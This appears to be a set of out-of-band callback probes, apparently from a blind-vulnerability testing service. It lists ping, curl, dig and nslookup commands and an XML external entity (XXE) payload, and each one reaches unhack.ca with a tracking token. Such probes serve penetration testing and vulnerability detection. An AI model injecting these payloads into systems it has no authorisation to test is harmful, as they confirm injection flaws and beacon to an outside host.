$ ping -c1 -p 0039cb0a243f522b92494f02fa3f4c00 unhack.ca
$ curl http://unhack.ca/p/39cb0a243f522b92494f02fa3f4c
$ dig 39cb0a243f522b92494f02fa3f4c @unhack.ca
$ dig 39cb0a243f522b92494f02fa3f4c.ns.unhack.ca
C:\> nslookup 39cb0a243f522b92494f02fa3f4c unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/39cb0a243f522b92494f02fa3f4c">]> <foo>&xxe;</foo>